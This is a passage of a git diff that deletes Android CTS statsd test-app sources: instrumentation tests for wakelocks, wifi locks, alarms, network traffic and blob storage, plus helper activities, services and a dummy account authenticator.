-        PowerManager.WakeLock wl = pm.newWakeLock(PowerManager.PARTIAL_WAKE_LOCK,
-                "StatsdPartialWakelock");
-        wl.acquire();
-        sleep(500);
-        wl.release();
-    }
-
-    @Test
-    public void testSliceByWakelockState() {
-        int uid = Process.myUid();
-        int whatAtomId = 9_998;
-        int wakelockType = PowerManager.PARTIAL_WAKE_LOCK;
-        String tag = "StatsdPartialWakelock";
-
-        Context context = InstrumentationRegistry.getContext();
-        PowerManager pm = context.getSystemService(PowerManager.class);
-        PowerManager.WakeLock wl = pm.newWakeLock(wakelockType, tag);
-
-        wl.acquire();
-        sleep(500);
-        writeSliceByWakelockStateChangedAtom(whatAtomId, uid, wakelockType, tag);
-        writeSliceByWakelockStateChangedAtom(whatAtomId, uid, wakelockType, tag);
-        wl.acquire();
-        sleep(500);
-        writeSliceByWakelockStateChangedAtom(whatAtomId, uid, wakelockType, tag);
-        writeSliceByWakelockStateChangedAtom(whatAtomId, uid, wakelockType, tag);
-        writeSliceByWakelockStateChangedAtom(whatAtomId, uid, wakelockType, tag);
-        wl.release();
-        sleep(500);
-        writeSliceByWakelockStateChangedAtom(whatAtomId, uid, wakelockType, tag);
-        wl.release();
-        sleep(500);
-        writeSliceByWakelockStateChangedAtom(whatAtomId, uid, wakelockType, tag);
-        writeSliceByWakelockStateChangedAtom(whatAtomId, uid, wakelockType, tag);
-        writeSliceByWakelockStateChangedAtom(whatAtomId, uid, wakelockType, tag);
-    }
-
-    private static void writeSliceByWakelockStateChangedAtom(int atomId, int firstUid,
-                                                            int field2, String field3) {
-        final StatsEvent.Builder builder = StatsEvent.newBuilder()
-                .setAtomId(atomId)
-                .writeAttributionChain(new int[] {firstUid}, new String[] {"tag1"})
-                .writeInt(field2)
-                .writeString(field3)
-                .usePooledBuffer();
-
-        StatsLog.write(builder.build());
-    }
-
-
-    @Test
-    public void testWakelockLoad() {
-        final int NUM_THREADS = 16;
-        CountDownLatch latch = new CountDownLatch(NUM_THREADS);
-        for (int i = 0; i < NUM_THREADS; i++) {
-            Thread t = new Thread(new WakelockLoadTestRunnable("StatsdPartialWakelock" + i, latch));
-            t.start();
-        }
-        waitForReceiver(null, 120_000, latch, null);
-    }
-
-    @Test
-    public void testWakeupAlarm() {
-        Context context = InstrumentationRegistry.getContext();
-        String name = "android.cts.statsd.testWakeupAlarm";
-        CountDownLatch onReceiveLatch = new CountDownLatch(1);
-        BroadcastReceiver receiver =
-                registerReceiver(context, onReceiveLatch, new IntentFilter(name));
-        AlarmManager manager = (AlarmManager) (context.getSystemService(AlarmManager.class));
-        PendingIntent pintent = PendingIntent.getBroadcast(context, 0, new Intent(name), 0);
-        manager.setExact(AlarmManager.ELAPSED_REALTIME_WAKEUP,
-            SystemClock.elapsedRealtime() + 2_000, pintent);
-        waitForReceiver(context, 10_000, onReceiveLatch, receiver);
-    }
-
-    @Test
-    public void testWifiLockHighPerf() {
-        Context context = InstrumentationRegistry.getContext();
-        WifiManager wm = context.getSystemService(WifiManager.class);
-        WifiManager.WifiLock lock =
-                wm.createWifiLock(WifiManager.WIFI_MODE_FULL_HIGH_PERF, "StatsdCTSWifiLock");
-        lock.acquire();
-        sleep(500);
-        lock.release();
-    }
-
-    @Test
-    public void testWifiLockLowLatency() {
-        Context context = InstrumentationRegistry.getContext();
-        WifiManager wm = context.getSystemService(WifiManager.class);
-        WifiManager.WifiLock lock =
-                wm.createWifiLock(WifiManager.WIFI_MODE_FULL_LOW_LATENCY, "StatsdCTSWifiLock");
-        lock.acquire();
-        sleep(500);
-        lock.release();
-    }
-
-    @Test
-    public void testWifiMulticastLock() {
-        Context context = InstrumentationRegistry.getContext();
-        WifiManager wm = context.getSystemService(WifiManager.class);
-        WifiManager.MulticastLock lock = wm.createMulticastLock("StatsdCTSMulticastLock");
-        lock.acquire();
-        sleep(500);
-        lock.release();
-    }
-
-    @Test
-    /** Does two wifi scans. */
-    // TODO: Copied this from BatterystatsValidation but we probably don't need to wait for results.
-    public void testWifiScan() {
-        Context context = InstrumentationRegistry.getContext();
-        IntentFilter intentFilter = new IntentFilter(WifiManager.SCAN_RESULTS_AVAILABLE_ACTION);
-        // Sometimes a scan was already running (from a different uid), so the first scan doesn't
-        // start when requested. Therefore, additionally wait for whatever scan is currently running
-        // to finish, then request a scan again - at least one of these two scans should be
-        // attributed to this app.
-        for (int i = 0; i < 2; i++) {
-            CountDownLatch onReceiveLatch = new CountDownLatch(1);
-            BroadcastReceiver receiver = registerReceiver(context, onReceiveLatch, intentFilter);
-            context.getSystemService(WifiManager.class).startScan();
-            waitForReceiver(context, 60_000, onReceiveLatch, receiver);
-        }
-    }
-
-    @Test
-    public void testSimpleCpu() {
-        long timestamp = System.currentTimeMillis();
-        for (int i = 0; i < 10000; i ++) {
-            timestamp += i;
-        }
-        Log.i(TAG, "The answer is " + timestamp);
-    }
-
-    @Test
-    public void testWriteRawTestAtom() throws Exception {
-        Context context = InstrumentationRegistry.getTargetContext();
-        ApplicationInfo appInfo = context.getPackageManager()
-                .getApplicationInfo(context.getPackageName(), 0);
-        int[] uids = {1234, appInfo.uid};
-        String[] tags = {"tag1", "tag2"};
-        byte[] experimentIds = {8, 1, 8, 2, 8, 3}; // Corresponds to 1, 2, 3.
-        StatsLogStatsdCts.write(StatsLogStatsdCts.TEST_ATOM_REPORTED, uids, tags, 42,
-                Long.MAX_VALUE, 3.14f, "This is a basic test!", false,
-                StatsLogStatsdCts.TEST_ATOM_REPORTED__STATE__ON, experimentIds);
-
-        // All nulls. Should get dropped since cts app is not in the attribution chain.
-        StatsLogStatsdCts.write(StatsLogStatsdCts.TEST_ATOM_REPORTED, null, null, 0, 0,
-                0f, null, false, StatsLogStatsdCts.TEST_ATOM_REPORTED__STATE__ON, null);
-
-        // Null tag in attribution chain.
-        int[] uids2 = {9999, appInfo.uid};
-        String[] tags2 = {"tag9999", null};
-        StatsLogStatsdCts.write(StatsLogStatsdCts.TEST_ATOM_REPORTED, uids2, tags2, 100,
-                Long.MIN_VALUE, -2.5f, "Test null uid", true,
-                StatsLogStatsdCts.TEST_ATOM_REPORTED__STATE__UNKNOWN, experimentIds);
-
-        // Non chained non-null
-        StatsLogStatsdCts.write_non_chained(StatsLogStatsdCts.TEST_ATOM_REPORTED,
-                appInfo.uid, "tag1", -256, -1234567890L, 42.01f, "Test non chained", true,
-                StatsLogStatsdCts.TEST_ATOM_REPORTED__STATE__OFF, experimentIds);
-
-        // Non chained all null
-        StatsLogStatsdCts.write_non_chained(StatsLogStatsdCts.TEST_ATOM_REPORTED, appInfo.uid, null,
-                0, 0, 0f, null, true, StatsLogStatsdCts.TEST_ATOM_REPORTED__STATE__OFF, null);
-
-    }
-
-    /**
-     * Bring up and generate some traffic on cellular data connection.
-     */
-    @Test
-    public void testGenerateMobileTraffic() throws Exception {
-        final Context context = InstrumentationRegistry.getContext();
-        doGenerateNetworkTraffic(context, NetworkCapabilities.TRANSPORT_CELLULAR);
-    }
-
-    // Constants which are locally used by doGenerateNetworkTraffic.
-    private static final int NETWORK_TIMEOUT_MILLIS = 15000;
-    private static final String HTTPS_HOST_URL =
-            "https://connectivitycheck.gstatic.com/generate_204";
-
-    private void doGenerateNetworkTraffic(@NonNull Context context,
-            @NetworkCapabilities.Transport int transport) throws InterruptedException {
-        final ConnectivityManager cm = context.getSystemService(ConnectivityManager.class);
-        final NetworkRequest request = new NetworkRequest.Builder().addCapability(
-                NetworkCapabilities.NET_CAPABILITY_INTERNET).addTransportType(transport).build();
-        final CtsNetUtils.TestNetworkCallback callback = new CtsNetUtils.TestNetworkCallback();
-
-        // Request network, and make http query when the network is available.
-        cm.requestNetwork(request, callback);
-
-        // If network is not available, throws IllegalStateException.
-        final Network network = callback.waitForAvailable();
-        if (network == null) {
-            throw new IllegalStateException("network "
-                    + NetworkCapabilities.transportNameOf(transport) + " is not available.");
-        }
-
-        final long startTime = SystemClock.elapsedRealtime();
-        try {
-            exerciseRemoteHost(cm, network, new URL(HTTPS_HOST_URL));
-            Log.i(TAG, "exerciseRemoteHost successful in " + (SystemClock.elapsedRealtime()
-                    - startTime) + " ms");
-        } catch (Exception e) {
-            Log.e(TAG, "exerciseRemoteHost failed in " + (SystemClock.elapsedRealtime()
-                    - startTime) + " ms: " + e);
-        } finally {
-            cm.unregisterNetworkCallback(callback);
-        }
-    }
-
-    /**
-     * Generate traffic on specified network.
-     */
-    private void exerciseRemoteHost(@NonNull ConnectivityManager cm, @NonNull Network network,
-            @NonNull URL url) throws Exception {
-        cm.bindProcessToNetwork(network);
-        HttpURLConnection urlc = null;
-        try {
-            urlc = (HttpURLConnection) network.openConnection(url);
-            urlc.setConnectTimeout(NETWORK_TIMEOUT_MILLIS);
-            urlc.setUseCaches(false);
-            urlc.connect();
-        } finally {
-            if (urlc != null) {
-                urlc.disconnect();
-            }
-        }
-    }
-
-    @Test
-    public void testIsolatedProcessService() throws Exception {
-        Context context = InstrumentationRegistry.getContext();
-        int uid = context.getPackageManager().getApplicationInfo(context.getPackageName(), 0).uid;
-
-        // Start the isolated service, which logs an AppBreadcrumbReported atom, and then exit
-        // shortly afterwards.
-        Intent intent = new Intent(context, IsolatedProcessService.class);
-        context.startService(intent);
-        sleep(500);
-        context.stopService(intent);
-    }
-
-
-    // Constants for testBlobStore
-    private static final long BLOB_COMMIT_CALLBACK_TIMEOUT_SEC = 5;
-    private static final long BLOB_EXPIRY_DURATION_MS = 24 * 60 * 60 * 1000;
-    private static final long BLOB_FILE_SIZE_BYTES = 23 * 1024L;
-    private static final long BLOB_LEASE_EXPIRY_DURATION_MS = 60 * 60 * 1000;
-    private static final byte[] FAKE_PKG_CERT_SHA256 = BaseEncoding.base16().decode(
-            "187E3D3172F2177D6FEC2EA53785BF1E25DFF7B2E5F6E59807E365A7A837E6C3");
-
-    @Test
-    public void testBlobStore() throws Exception {
-        Context context = InstrumentationRegistry.getContext();
-        int uid = context.getPackageManager().getApplicationInfo(context.getPackageName(), 0).uid;
-
-        BlobStoreManager bsm = context.getSystemService(BlobStoreManager.class);
-        final long leaseExpiryMs = System.currentTimeMillis() + BLOB_LEASE_EXPIRY_DURATION_MS;
-
-        final DummyBlobData blobData = new DummyBlobData.Builder(context).setExpiryDurationMs(
-                BLOB_EXPIRY_DURATION_MS).setFileSize(BLOB_FILE_SIZE_BYTES).build();
-
-        blobData.prepare();
-        try {
-            // Commit the Blob, should result in BLOB_COMMITTED atom event
-            commitBlob(context, bsm, blobData);
-
-            // Lease the Blob, should result in BLOB_LEASED atom event
-            bsm.acquireLease(blobData.getBlobHandle(), "", leaseExpiryMs);
-
-            // Open the Blob, should result in BLOB_OPENED atom event
-            bsm.openBlob(blobData.getBlobHandle());
-
-        } finally {
-            blobData.delete();
-        }
-    }
-
-    // ------- Helper methods
-
-    /** Puts the current thread to sleep. */
-    static void sleep(int millis) {
-        try {
-            Thread.sleep(millis);
-        } catch (InterruptedException e) {
-            Log.e(TAG, "Interrupted exception while sleeping", e);
-        }
-    }
-
-    /** Register receiver to determine when given action is complete. */
-    private static BroadcastReceiver registerReceiver(
-            Context ctx, CountDownLatch onReceiveLatch, IntentFilter intentFilter) {
-        BroadcastReceiver receiver = new BroadcastReceiver() {
-            @Override
-            public void onReceive(Context context, Intent intent) {
-                Log.d(TAG, "Received broadcast.");
-                onReceiveLatch.countDown();
-            }
-        };
-        // Run Broadcast receiver in a different thread since the main thread will wait.
-        HandlerThread handlerThread = new HandlerThread("br_handler_thread");
-        handlerThread.start();
-        Looper looper = handlerThread.getLooper();
-        Handler handler = new Handler(looper);
-        ctx.registerReceiver(receiver, intentFilter, null, handler);
-        return receiver;
-    }
-
-    /**
-     * Uses the receiver to wait until the action is complete. ctx and receiver may be null if no
-     * receiver is needed to be unregistered.
-     */
-    private static void waitForReceiver(Context ctx,
-            int maxWaitTimeMs, CountDownLatch latch, BroadcastReceiver receiver) {
-        try {
-            boolean didFinish = latch.await(maxWaitTimeMs, TimeUnit.MILLISECONDS);
-            if (didFinish) {
-                Log.v(TAG, "Finished performing action");
-            } else {
-                // This is not necessarily a problem. If we just want to make sure a count was
-                // recorded for the request, it doesn't matter if the action actually finished.
-                Log.w(TAG, "Did not finish in specified time.");
-            }
-        } catch (InterruptedException e) {
-            Log.e(TAG, "Interrupted exception while awaiting action to finish", e);
-        }
-        if (ctx != null && receiver != null) {
-            ctx.unregisterReceiver(receiver);
-        }
-    }
-
-    private static void setScreenBrightness(int brightness) {
-        runShellCommand("settings put system screen_brightness " + brightness);
-    }
-
-
-    private void commitBlob(Context context, BlobStoreManager bsm, DummyBlobData blobData)
-            throws Exception {;
-        final long sessionId = bsm.createSession(blobData.getBlobHandle());
-        try (BlobStoreManager.Session session = bsm.openSession(sessionId)) {
-            blobData.writeToSession(session);
-            session.allowPackageAccess("fake.package.name", FAKE_PKG_CERT_SHA256);
-
-            final CompletableFuture<Integer> callback = new CompletableFuture<>();
-            session.commit(context.getMainExecutor(), callback::complete);
-            assertWithMessage("Session failed to commit within timeout").that(
-                    callback.get(BLOB_COMMIT_CALLBACK_TIMEOUT_SEC, TimeUnit.SECONDS)).isEqualTo(0);
-        }
-    }
-}
diff --git a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/Checkers.java b/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/Checkers.java
deleted file mode 100644
index 3728cef..0000000
--- a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/Checkers.java
+++ /dev/null
@@ -1,45 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.server.cts.device.statsd;
-
-import static com.google.common.truth.Truth.assertThat;
-
-import android.net.wifi.WifiManager;
-import android.os.Vibrator;
-
-import androidx.test.InstrumentationRegistry;
-
-import org.junit.Test;
-
-/**
- * Methods to check device properties. They pass iff the check returns true.
- */
-public class Checkers {
-    private static final String TAG = Checkers.class.getSimpleName();
-
-    @Test
-    public void checkVibratorSupported() {
-        Vibrator v = InstrumentationRegistry.getContext().getSystemService(Vibrator.class);
-        assertThat(v.hasVibrator()).isTrue();
-    }
-
-    @Test
-    public void checkWifiEnhancedPowerReportingSupported() {
-        WifiManager wm = InstrumentationRegistry.getContext().getSystemService(WifiManager.class);
-        assertThat(wm.isEnhancedPowerReportingSupported()).isTrue();
-    }
-}
diff --git a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/DaveyActivity.java b/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/DaveyActivity.java
deleted file mode 100644
index e2ec7f7..0000000
--- a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/DaveyActivity.java
+++ /dev/null
@@ -1,37 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.server.cts.device.statsd;
-
-import android.app.Activity;
-import android.os.Bundle;
-import android.os.SystemClock;
-import android.widget.VideoView;
-import android.util.Log;
-
-
-public class DaveyActivity extends Activity {
-    private static final String TAG = "statsdDaveyActivity";
-
-    /** Called when the activity is first created. */
-    @Override
-    public void onCreate(Bundle savedInstanceState) {
-        super.onCreate(savedInstanceState);
-        setContentView(R.layout.activity_davey);
-        DaveyView view = (DaveyView)findViewById(R.id.davey_view);
-        view.causeDavey(true);
-    }
-}
\ No newline at end of file
diff --git a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/DaveyView.java b/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/DaveyView.java
deleted file mode 100644
index bf1cd35..0000000
--- a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/DaveyView.java
+++ /dev/null
@@ -1,77 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.server.cts.device.statsd;
-
-import android.view.View;
-import android.content.Context;
-import android.content.res.TypedArray;
-import android.graphics.Canvas;
-import android.graphics.Color;
-import android.graphics.Paint;
-import android.graphics.Paint.FontMetrics;
-import android.os.SystemClock;
-import android.util.AttributeSet;
-import android.util.Log;
-
-
-public class DaveyView extends View {
-
-    private static final String TAG = "statsdDaveyView";
-
-    private static final long DAVEY_TIME_MS = 750; // A bit more than 700ms to be safe.
-    private boolean mCauseDavey;
-    private Paint mPaint;
-    private int mTexty;
-
-    public DaveyView(Context context, AttributeSet attrs) {
-        super(context, attrs);
-        TypedArray a = context.getTheme().obtainStyledAttributes(
-                attrs,
-                R.styleable.DaveyView,
-                0, 0);
-
-        try {
-            mCauseDavey = a.getBoolean(R.styleable.DaveyView_causeDavey, false);
-        } finally {
-            a.recycle();
-        }
-
-        mPaint = new Paint();
-        mPaint.setColor(Color.BLACK);
-        mPaint.setTextSize(20);
-        FontMetrics metric = mPaint.getFontMetrics();
-        int textHeight = (int) Math.ceil(metric.descent - metric.ascent);
-        mTexty = textHeight - (int) metric.descent;
-    }
-
-    public void causeDavey(boolean cause) {
-        mCauseDavey = cause;
-        invalidate();
-    }
-
-    @Override
-    protected void onDraw(Canvas canvas) {
-        super.onDraw(canvas);
-        if (mCauseDavey) {
-            canvas.drawText("Davey!", 0, mTexty, mPaint);
-            SystemClock.sleep(DAVEY_TIME_MS);
-            mCauseDavey = false;
-        } else {
-            canvas.drawText("No Davey", 0, mTexty, mPaint);
-        }
-    }
-}
\ No newline at end of file
diff --git a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/DirectoryTests.java b/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/DirectoryTests.java
deleted file mode 100644
index fd849c9..0000000
--- a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/DirectoryTests.java
+++ /dev/null
@@ -1,62 +0,0 @@
-/*
- * Copyright (C) 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.server.cts.device.statsd;
-
-import org.junit.Test;
-
-import java.io.File;
-
-import static org.junit.Assert.assertFalse;
-import static org.junit.Assert.assertTrue;
-
-public class DirectoryTests {
-
-    @Test
-    public void testStatsActiveMetricDirectoryExists() {
-        final File f = new File("/data/misc/stats-active-metric/");
-        assertTrue(f.exists());
-        assertFalse(f.isFile());
-    }
-
-    @Test
-    public void testStatsDataDirectoryExists() {
-        final File f = new File("/data/misc/stats-data/");
-        assertTrue(f.exists());
-        assertFalse(f.isFile());
-    }
-
-    @Test
-    public void testStatsMetadataDirectoryExists() {
-        final File f = new File("/data/misc/stats-metadata/");
-        assertTrue(f.exists());
-        assertFalse(f.isFile());
-    }
-
-    @Test
-    public void testStatsServiceDirectoryExists() {
-        final File f = new File("/data/misc/stats-service/");
-        assertTrue(f.exists());
-        assertFalse(f.isFile());
-    }
-
-    @Test
-    public void testTrainInfoDirectoryExists() {
-        final File f = new File("/data/misc/train-info/");
-        assertTrue(f.exists());
-        assertFalse(f.isFile());
-    }
-}
diff --git a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/DummyCallscreeningService.java b/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/DummyCallscreeningService.java
deleted file mode 100644
index 3e52342..0000000
--- a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/DummyCallscreeningService.java
+++ /dev/null
@@ -1,28 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.server.cts.device.statsd;
-
-import android.annotation.NonNull;
-import android.telecom.Call;
-import android.telecom.CallScreeningService;
-
-public class DummyCallscreeningService extends CallScreeningService {
-    @Override
-    public void onScreenCall(@NonNull Call.Details callDetails) {
-
-    }
-}
diff --git a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/HiddenApiUsedActivity.java b/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/HiddenApiUsedActivity.java
deleted file mode 100644
index 2132f3c..0000000
--- a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/HiddenApiUsedActivity.java
+++ /dev/null
@@ -1,40 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.server.cts.device.statsd;
-
-import android.app.Activity;
-import android.os.Bundle;
-
-import java.lang.reflect.Field;
-
-
-public class HiddenApiUsedActivity extends Activity {
-    /** Called when the activity is first created. */
-    @Override
-    public void onCreate(Bundle savedInstanceState) {
-        super.onCreate(savedInstanceState);
-        try {
-            Field field = Activity.class.getDeclaredField("mWindow");
-            field.setAccessible(true);
-            Object object = field.get(this);
-        } catch(NoSuchFieldException e) {
-        } catch(IllegalAccessException e) {
-        }
-        finish();
-    }
-
-}
\ No newline at end of file
diff --git a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/IsolatedProcessService.java b/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/IsolatedProcessService.java
deleted file mode 100644
index 086a3be..0000000
--- a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/IsolatedProcessService.java
+++ /dev/null
@@ -1,37 +0,0 @@
-/*
- * Copyright (C) 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.server.cts.device.statsd;
-
-import android.app.Service;
-import android.content.Intent;
-import android.os.IBinder;
-import android.util.StatsLog;
-
-public class IsolatedProcessService extends Service {
-    private static final String TAG = "IsolatedProcessService";
-
-    @Override
-    public int onStartCommand(Intent intent, int flags, int startId) {
-        StatsLog.logStart(/*label=*/0);
-        return START_NOT_STICKY;
-    }
-
-    @Override
-    public IBinder onBind(Intent intent) {
-        return null;
-    }
-}
diff --git a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/StatsdAuthenticator.java b/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/StatsdAuthenticator.java
deleted file mode 100644
index 85acd07..0000000
--- a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/StatsdAuthenticator.java
+++ /dev/null
@@ -1,135 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *          http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.server.cts.device.statsd;
-
-import android.accounts.AbstractAccountAuthenticator;
-import android.accounts.Account;
-import android.accounts.AccountAuthenticatorResponse;
-import android.accounts.AccountManager;
-import android.accounts.NetworkErrorException;
-import android.app.Service;
-import android.content.Context;
-import android.content.Intent;
-import android.os.Bundle;
-import android.os.IBinder;
-import android.util.Log;
-
-import java.util.Arrays;
-
-/**
- * Authenticator for the sync test.
- */
-public class StatsdAuthenticator extends Service {
-    private static final String TAG = "AtomTestsAuthenticator";
-
-    private static final String ACCOUNT_NAME = "StatsdCts";
-    private static final String ACCOUNT_TYPE = "com.android.cts.statsd";
-    private static Authenticator sInstance;
-
-    @Override
-    public IBinder onBind(Intent intent) {
-        if (sInstance == null) {
-            sInstance = new Authenticator(getApplicationContext());
-
-        }
-        return sInstance.getIBinder();
-    }
-
-    public static Account getTestAccount() {
-        return new Account(ACCOUNT_NAME, ACCOUNT_TYPE);
-    }
-
-    /**
-     * Adds the test account, if it doesn't exist yet.
-     */
-    public static void ensureTestAccount(Context context) {
-        final Account account = getTestAccount();
-
-        Bundle result = new Bundle();
-        result.putString(AccountManager.KEY_ACCOUNT_TYPE, account.type);
-        result.putString(AccountManager.KEY_ACCOUNT_NAME, account.name);
-
-        final AccountManager am = context.getSystemService(AccountManager.class);
-
-        if (!Arrays.asList(am.getAccountsByType(account.type)).contains(account) ){
-            am.addAccountExplicitly(account, "password", new Bundle());
-        }
-    }
-
-    /**
-     * Remove the test account.
-     */
-    public static void removeAllAccounts(Context context) {
-        final AccountManager am = context.getSystemService(AccountManager.class);
-
-        for (Account account : am.getAccountsByType(ACCOUNT_TYPE)) {
-            Log.i(TAG, "Removing " + account + "...");
-            am.removeAccountExplicitly(account);
-            Log.i(TAG, "Removed");
-        }
-    }
-
-    public static class Authenticator extends AbstractAccountAuthenticator {
-
-        private final Context mContxet;
-
-        public Authenticator(Context context) {
-            super(context);
-            mContxet = context;
-        }
-
-        @Override
-        public Bundle addAccount(AccountAuthenticatorResponse response, String accountType,
-                String authTokenType, String[] requiredFeatures, Bundle options)
-                throws NetworkErrorException {
-            return new Bundle();
-        }
-
-        @Override
-        public Bundle editProperties(AccountAuthenticatorResponse response, String accountType) {
-            return new Bundle();
-        }
-
-        @Override
-        public Bundle updateCredentials(AccountAuthenticatorResponse response, Account account,
-                String authTokenType, Bundle options) throws NetworkErrorException {
-            return new Bundle();
-        }
-
-        @Override
-        public Bundle confirmCredentials(AccountAuthenticatorResponse response, Account account,
-                Bundle options) throws NetworkErrorException {
-            return new Bundle();
-        }
-
-        @Override
-        public Bundle getAuthToken(AccountAuthenticatorResponse response, Account account,
-                String authTokenType, Bundle options) throws NetworkErrorException {
-            return new Bundle();
-        }
-
-        @Override
-        public String getAuthTokenLabel(String authTokenType) {
-            return "token_label";
-        }
-
-        @Override
-        public Bundle hasFeatures(AccountAuthenticatorResponse response, Account account,
-                String[] features) throws NetworkErrorException {
-            return new Bundle();
-        }
-    }
-}
diff --git a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/StatsdCtsBackgroundService.java b/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/StatsdCtsBackgroundService.java
deleted file mode 100644
index ad018f9..0000000
--- a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/StatsdCtsBackgroundService.java
+++ /dev/null
@@ -1,67 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.server.cts.device.statsd;
-
-import com.android.server.cts.device.statsd.AtomTests;
-
-import android.app.IntentService;
-import android.content.Intent;
-import android.util.Log;
-
-/** An service (to be run as a background process) which performs one of a number of actions. */
-public class StatsdCtsBackgroundService extends IntentService {
-    private static final String TAG = StatsdCtsBackgroundService.class.getSimpleName();
-
-    public static final String KEY_ACTION = "action";
-    public static final String ACTION_BACKGROUND_SLEEP = "action.background_sleep";
-    public static final String ACTION_END_IMMEDIATELY = "action.end_immediately";
-    public static final String ACTION_LMK = "action.lmk";
-
